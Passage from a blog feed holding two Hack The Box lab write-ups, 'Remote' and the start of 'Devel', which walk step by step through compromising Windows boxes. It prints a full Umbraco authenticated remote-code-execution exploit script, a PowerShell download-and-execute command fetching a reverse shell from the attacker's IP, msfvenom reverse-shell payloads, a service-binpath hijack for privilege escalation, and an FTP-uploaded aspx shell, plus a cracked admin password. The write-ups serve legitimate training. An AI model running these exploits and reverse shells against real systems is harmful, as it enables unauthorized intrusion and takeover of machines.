<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.39.58-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="1028" height="510" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-12.39.58-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-12.39.58-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.39.58-PM.png 1028w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Anonymous worked on their ftp, but there was nothing on the ftp server. I&apos;m going to make a note of this, but move on to something else.</p>
<h2 id="nmaprpcbindscan">Nmap rpcbind scan</h2>
<p>Since the original nmap scan showed several rpcbind ports, we can try an nmap script to see if there are hidden nfs shares.</p>
<pre><code class="language-bash">nmap -sV --script=nfs-showmount -oN nmap.nfs remote.htb
</code></pre>
<p>Running this gave us the following:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.47.07-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="1694" height="410" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-12.47.07-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-12.47.07-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-21-at-12.47.07-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.47.07-PM.png 1694w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>There is a NFS volume called site_backups. I wonder what could be in this share? Let&apos;s find out by trying to mount it.</p>
<pre><code class="language-bash">sudo mount remote.htb:/site_backups /mnt/site_backups/
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.52.31-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="2000" height="300" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-12.52.31-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-12.52.31-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-21-at-12.52.31-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.52.31-PM.png 2264w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Nothing imediately jumped out at me looking at the root. Time to drill into some of those directies.</p>
<p>But first, the dirbuster came back with an interesting folder:</p>
<pre><code class="language-bash">http://remote.htb/install
</code></pre>
<p>After browsing to that URL it took me to this page:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.58.51-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="1450" height="1058" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-12.58.51-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-12.58.51-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.58.51-PM.png 1450w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>This is part of the Umbraco CMS system. Let&apos;s google for exploits. Oh, I found this nice <a href="https://www.exploit-db.com/exploits/46153?ref=joshkerr.com">one</a>.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.59.37-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="2000" height="961" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-12.59.37-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-12.59.37-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-21-at-12.59.37-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w2400/2020/06/Screen-Shot-2020-06-21-at-12.59.37-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>I need to be administrator on the CMS in order for it to work. Let&apos;s go back to the network share and see if we can find anything Umbraco that can help us.</p>
<p>Boom. In the /App_Data folder there is a file called Umbraco.sdf. That is a database file. Let&apos;s see if we can run strings and grep for an admin login:</p>
<pre><code class="language-bash">strings Umbraco.sdf | grep admin
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-1.02.06-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="2000" height="828" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-1.02.06-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-1.02.06-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-21-at-1.02.06-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-1.02.06-PM.png 2376w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Looks like we have a username and a hashed password. The hash type is SHA1. I&apos;m going to try <a href="https://crackstation.net/?ref=joshkerr.com">CrackStation</a> to see if I can crack it.</p>
<pre><code class="language-bash">Username: admin@htb.local
Password: baconandcheese
</code></pre>
<p>Let&apos;s try logging in as admin.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-1.06.42-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="2000" height="1512" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-1.06.42-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-1.06.42-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-21-at-1.06.42-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w2400/2020/06/Screen-Shot-2020-06-21-at-1.06.42-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>We are in! Now we can try that exploit which looks like a python script. I modified it adding the username/password we found for the admin and the box IP. I&apos;m sure there are ways to inject an exploit directly into the CMS, I decided to try the python script.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="exploitscripthell">Exploit script hell</h2>
<p>Getting this exploit script to work was not easy. There are several things you are doing to need to have setup in order to get this to work.</p>
<ul>
<li>Local HTTP server running on port 80</li>
<li>metasploit configured to catch the session on port 4444</li>
<li>the reverse shell script in the root of the webserver</li>
<li>The correct commands for the exploit script</li>
</ul>
<p>It took me a while to get all of this just right.</p>
<p>First you need to download the exploit script. You can grab it from below:</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code class="language-python"># Exploit Title: Umbraco CMS - Authenticated Remote Code Execution 
# Date: 2020-03-28
# Exploit Author: Alexandre ZANNI (noraj)
# Based on: https://www.exploit-db.com/exploits/46153
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# Example: python exploit.py -u admin@example.org -p password123 -i &apos;http://10.0.0.1&apos; -c ipconfig


import requests
import re
import argparse

from bs4 import BeautifulSoup

parser = argparse.ArgumentParser(prog=&apos;exploit.py&apos;,
    description=&apos;Umbraco authenticated RCE&apos;,
    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))
parser.add_argument(&apos;-u&apos;, &apos;--user&apos;, metavar=&apos;USER&apos;, type=str,
    required=True, dest=&apos;user&apos;, help=&apos;username / email&apos;)
parser.add_argument(&apos;-p&apos;, &apos;--password&apos;, metavar=&apos;PASS&apos;, type=str,
    required=True, dest=&apos;password&apos;, help=&apos;password&apos;)
parser.add_argument(&apos;-i&apos;, &apos;--host&apos;, metavar=&apos;URL&apos;, type=str, required=True,
    dest=&apos;url&apos;, help=&apos;root URL&apos;)
parser.add_argument(&apos;-c&apos;, &apos;--command&apos;, metavar=&apos;CMD&apos;, type=str, required=True,
    dest=&apos;command&apos;, help=&apos;command&apos;)
parser.add_argument(&apos;-a&apos;, &apos;--arguments&apos;, metavar=&apos;ARGS&apos;, type=str, required=False,
    dest=&apos;arguments&apos;, help=&apos;arguments&apos;, default=&apos;&apos;)
args = parser.parse_args()

# Payload
payload = &quot;&quot;&quot;\
&lt;?xml version=&quot;1.0&quot;?&gt;&lt;xsl:stylesheet version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot; xmlns:msxsl=&quot;urn:schemas-microsoft-com:xslt&quot; xmlns:csharp_user=&quot;http://csharp.mycompany.com/mynamespace&quot;&gt;&lt;msxsl:script language=&quot;C#&quot; implements-prefix=&quot;csharp_user&quot;&gt;public string xml() { string cmd = &quot;%s&quot;; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = &quot;%s&quot;; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  &lt;/msxsl:script&gt;&lt;xsl:template match=&quot;/&quot;&gt; &lt;xsl:value-of select=&quot;csharp_user:xml()&quot;/&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt;\
&quot;&quot;&quot; % (args.arguments, args.command)

login = args.user
password = args.password
host = args.url

# Process Login
url_login = host + &quot;/umbraco/backoffice/UmbracoApi/Authentication/PostLogin&quot;
loginfo = { &quot;username&quot;: login, &quot;password&quot;: password}
s = requests.session()
r2 = s.post(url_login,json=loginfo)

# Go to vulnerable web page
url_xslt = host + &quot;/umbraco/developer/Xslt/xsltVisualize.aspx&quot;
r3 = s.get(url_xslt)

soup = BeautifulSoup(r3.text, &apos;html.parser&apos;)
VIEWSTATE = soup.find(id=&quot;__VIEWSTATE&quot;)[&apos;value&apos;]
VIEWSTATEGENERATOR = soup.find(id=&quot;__VIEWSTATEGENERATOR&quot;)[&apos;value&apos;]
UMBXSRFTOKEN = s.cookies[&apos;UMB-XSRF-TOKEN&apos;]
headers = {&apos;UMB-XSRF-TOKEN&apos;: UMBXSRFTOKEN}
data = { &quot;__EVENTTARGET&quot;: &quot;&quot;, &quot;__EVENTARGUMENT&quot;: &quot;&quot;, &quot;__VIEWSTATE&quot;: VIEWSTATE,
    &quot;__VIEWSTATEGENERATOR&quot;: VIEWSTATEGENERATOR,
    &quot;ctl00$body$xsltSelection&quot;: payload,
    &quot;ctl00$body$contentPicker$ContentIdValue&quot;: &quot;&quot;,
    &quot;ctl00$body$visualizeDo&quot;: &quot;Visualize+XSLT&quot; }

# Launch the attack
r4 = s.post(url_xslt, data=data, headers=headers)
# Filter output
soup = BeautifulSoup(r4.text, &apos;html.parser&apos;)
CMDOUTPUT = soup.find(id=&quot;result&quot;).getText()
print(CMDOUTPUT)

</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Next you&apos;ll need to run a local http server. I recommend python. This is what I used.</p>
<pre><code class="language-bash">python SimpleHTTPServer 80
</code></pre>
<p>You&apos;ll also need to put the mini-reverse.ps1 in the root of that web server. So if you were type type into your browser: <a href="http://remote.htb/mini-reverse.ps1?ref=joshkerr.com">http://remote.htb/mini-reverse.ps1</a>, it would download it.</p>
<p>You can download mini-reverse.ps1 from <a href="https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5?ref=joshkerr.com">Github</a>. You will also need to modify it with your computer&apos;s IP and port. Since we are using 4444 in my example, you should use that.</p>
<p>The first line of my mini-reverse.ps1 script looks like this:</p>
<pre><code class="language-python">$socket = new-object System.Net.Sockets.TcpClient(&apos;10.10.14.26&apos;, 4444);
</code></pre>
<p>Now we need to get metasploit running to catch the reverse shell.</p>
<pre><code class="language-bash">metasploit
use exploit/multi/handler
set payload payload/windows/x64/shell_reverse.tcp
set LHOST 10.10.14.26
set ExitOnSession false
exploit -j
</code></pre>
<p>Make sure you change your LHOST to be your computer&apos;s IP.</p>
<p>Okay, now we are ready to run the exploit script. Make sure it is executable and then:</p>
<pre><code class="language-bash">python exploit.py -u admin@htb.local -p baconandcheese -i &apos;http://remote.htb&apos; -c powershell.exe -a &quot;IEX (New-Object Net.WebClient).DownloadString(&apos;http://10.10.14.26/mini-reverse.ps1&apos;)&quot;
</code></pre>
<p>Again, remember to change the IP to be the same as your computer&apos;s IP. If you check your web server running on your computer, you should see the mini-reverse.ps1 download.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.16.23-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="1120" height="148" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-22-at-3.16.23-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-22-at-3.16.23-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.16.23-PM.png 1120w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>You should also see a new session in Metasploit.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.18.17-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="1636" height="94" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-22-at-3.18.17-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-22-at-3.18.17-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-22-at-3.18.17-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.18.17-PM.png 1636w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>In order to interact with this session, you&apos;ll need to type:</p>
<pre><code class="language-bash">sessions -i 1
</code></pre>
<p>Where the session ID is the session that was created. You can check to see what sessions you have by typing:</p>
<pre><code class="language-bash">sessions
</code></pre>
<p>You should now be in a really bad shell. Still, you can go grab the user flag. For me, I just did this:</p>
<pre><code class="language-bash">type c:\users\public\user.txt
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.20.31-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="792" height="724" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-22-at-3.20.31-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.20.31-PM.png 792w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Got the user flag:</p>
<pre><code class="language-bash">4ba34f5c3ef7bb216d152e7d06a1e676
</code></pre>
<p>Getting the root flag was really hard for me. It took me a few days and some help from the HackTheBox discord forums.</p>
<h3 id="gettingroot">Getting root</h3>
<p>If you made it to this point, you already have a not very interactive shell and the user flag. The session for that shell should still be running in metasploit.</p>
<p>Using the shell you got earlier, you can gain root by exploiting USOSVC which is a service running on the box. This is the Update Orschestrator service. We can modify it to run our own executable and then stop and start the service. The service runs as root so we can leverage that to gain control of the box. This is how I did it.</p>
<p>First I fired up msfvenom and gave it this command:</p>
<pre><code class="language-bash">msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.26 LPORT=4444 -f exe --platform windows &gt; reverse.exe
</code></pre>
<p>Put that reverse.exe into the directory that your web server from earlier is running. Remember, we still have a session going with a shell. Go over to that shell and create a temp folder. Then download the reverse.exe on to the box.</p>
<pre><code class="language-bash">cd c:\
md c:\temp
cd c:\temp
powershell.exe -c wget &quot;http://10.10.14.26/reverse.exe&quot; -outfile &quot;c:\temp\reverse.exe&quot;
</code></pre>
<p>You should now have the reverse.exe file on the box we want to compromise. Now comes the best part.</p>
<pre><code class="language-bash">sc config usosvc binpath=&quot;c:\temp\reverse.exe&quot;
sc stop usosvc
sc start usosvc
</code></pre>
<p>If you go check metasploit you should have a new session. If you drop into that session using the:</p>
<pre><code class="language-bash">sessions -i #
</code></pre>
<p>Where # is the number of the session that was just created, you should now have root on the box. Plus you have a way better command prompt. If you ever need to get back into metasploit from a shell, just hit control-z and it will let you back into the console.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.01.22-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="1586" height="656" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-22-at-3.01.22-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-22-at-3.01.22-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.01.22-PM.png 1586w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.01.38-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="1166" height="1308" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-22-at-3.01.38-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-22-at-3.01.38-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.01.38-PM.png 1166w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.01.43-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="734" height="584" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-22-at-3.01.43-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-22-at-3.01.43-PM.png 734w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Got the root flag. Finally!</p>
<pre><code class="language-bash">7bef7fab554db7714e25fec6499dc8e9
</code></pre>
<p>This box was very difficult. The user flag was about my level, but the root flag was way hard for me.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Hack the Box write up for Devel]]></title><description><![CDATA[This is the guide and walkthrough for the Devel machine on HacktheBox.eu]]></description><link>https://joshkerr.com/hackthebox-edu-write-up-for-devel/</link><guid isPermaLink="false">5eef95c88c7f770039c0d441</guid><category><![CDATA[hacking]]></category><category><![CDATA[hackthebox]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Sun, 21 Jun 2020 17:24:16 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/hack-capital-uv5_bsypFUM-unsplash.jpeg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/hack-capital-uv5_bsypFUM-unsplash.jpeg" alt="Hack the Box write up for Devel"><p>I&apos;ve been doing some ethical hacking lately. This is my first writeup for one of the computers I hacked into (legally.) The machine I compromised is called <a href="https://www.hackthebox.eu/home/machines/profile/3?ref=joshkerr.com">Devel</a> on <a href="http://hackthebox.edu/?ref=joshkerr.com">Hackthebox.eu</a>. I&apos;m a beginner when it comes to ethical hacking, so please excuse my mistakes.</p><p>Overall this box was fun. It allowed me to get more experience using <a href="https://www.metasploit.com/?ref=joshkerr.com">metasploit</a> which is really powerful. I&apos;m totally a script kiddy with this tool.</p><h2 id="nmap-scan">Nmap scan</h2><p>Let&apos;s get started with an nmap scan.</p><pre><code class="language-bash">Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 11:26 CDT
Nmap scan report for devel.htb (10.10.10.5)
Host is up (0.074s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       &lt;DIR&gt;          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds
</code></pre><p>The scan shows that we&apos;ve got an FTP server and a Web server running on a Windows box. Let&apos;s see what the website shows:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.28.45-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>Looks like we&apos;ve got IIS version 7 with the default page. Let&apos;s see if we can login to the FTP server with anonymous.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.30.07-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>Anonymous login worked just fine. Looks like there are some files in there including what seems to be the IIS start page. Could this be the web directory?</p><p>Let&apos;s see if we can upload a file to that directory:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.15-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.08-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.33.13-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>Yes! Okay, now let&apos;s use msfvenom to create a page that we can exploit to get a reverse shell. I googled this to find the details.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.34.00-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>The first link gave me what I needed. Make sure to replace LHOST with the IP of your machine.</p><pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.26 LPORT=1234 -f aspx -o shell.aspx
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.36.47-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>Now we&apos;ve got a script to upload via ftp to the website. This should give us a reverse shell. First let&apos;s fire up metasploit so that we can capture the reverse shell.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.39.49-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>You&apos;ll want to use the following:</p><pre><code class="language-bash">use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.26
set LPORT 1234
exploit
</code></pre><p>Make sure to change the LHOST to point to your machine on the VPN.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.42.43-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>That should get you a shell on the box.</p><p>Running getuid shows that we are IIS APPOOL\Web user. We want root so there is more work to do.</p><p>Let&apos;s go into the shell and use systeminfo to see if we can find some exploits.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.44.36-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>Now we need to exit the shell, background the meterpreter session and do some exploit research.</p><pre><code class="language-bash">exit
background
use post/multi/recon/local_exploit_suggester
set session 1
run
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-11.50.50-AM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>If you did that correctly you should see a list of expoits we can use. I had to google to see which one of these would be best. The recommendation was to use the kitrap0d, the second on the list.</p><pre><code class="language-bash">use exploit/windows/local/ms10_015_kitrap0d
show options
</code></pre><p>We need to tell the module which session to run on, our local host ip and our local host port.</p><pre><code class="language-bash">set sessions 1
set LHOST 10.10.14.26
set LPORT 1234
run
